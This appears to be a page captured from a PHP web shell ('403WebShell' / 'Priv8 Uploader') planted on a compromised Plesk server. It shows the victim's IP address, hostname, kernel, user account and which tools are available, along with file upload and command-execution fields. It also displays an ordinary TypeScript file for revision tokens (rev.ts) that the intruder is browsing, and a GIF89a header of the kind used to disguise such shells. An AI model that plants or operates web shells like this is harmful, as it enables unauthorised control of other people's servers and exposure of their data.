GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
403WebShell
403Webshell
Server IP : 82.165.91.112  /  Your IP : 216.73.216.249
Web Server : Apache
System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : nr7.net_tfpqq467gv ( 10001)
PHP Version : 8.4.25
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/api/rev.ts
/**
 * Opaque _rev token generation and validation.
 *
 * Format: base64("version:updated_at")
 * Stateless — server decodes and checks both components.
 *
 * Rules:
 * - No _rev sent → blind write (backwards-compatible)
 * - _rev matches → write proceeds, new _rev returned
 * - _rev mismatch → 409 Conflict
 */

import type { ContentItem } from "../database/repositories/types.js";
import { encodeBase64, decodeBase64 } from "../utils/base64.js";

/**
 * Generate a _rev token from a content item's version and updatedAt.
 */
export function encodeRev(item: ContentItem): string {
	return encodeBase64(`${item.version}:${item.updatedAt}`);
}

/**
 * Decode a _rev token into its components.
 * Returns null if the token is malformed.
 */
export function decodeRev(rev: string): { version: number; updatedAt: string } | null {
	try {
		const decoded = decodeBase64(rev);
		const colonIdx = decoded.indexOf(":");
		if (colonIdx === -1) return null;

		const version = parseInt(decoded.slice(0, colonIdx), 10);
		const updatedAt = decoded.slice(colonIdx + 1);

		if (isNaN(version) || !updatedAt) return null;
		return { version, updatedAt };
	} catch {
		return null;
	}
}

/**
 * Validate a _rev token against a content item.
 * Returns null if valid (or if no _rev provided), or an error message if invalid.
 */
export function validateRev(
	rev: string | undefined,
	item: ContentItem,
): { valid: true } | { valid: false; message: string } {
	// No _rev = blind write (backwards-compatible)
	if (!rev) return { valid: true };

	const decoded = decodeRev(rev);
	if (!decoded) {
		return { valid: false, message: "Malformed _rev token" };
	}

	if (decoded.version !== item.version || decoded.updatedAt !== item.updatedAt) {
		return {
			valid: false,
			message: "Content has been modified since last read (version conflict)",
		};
	}

	return { valid: true };
}

Youez - 2016 - github.com/yon3zu
LinuXploit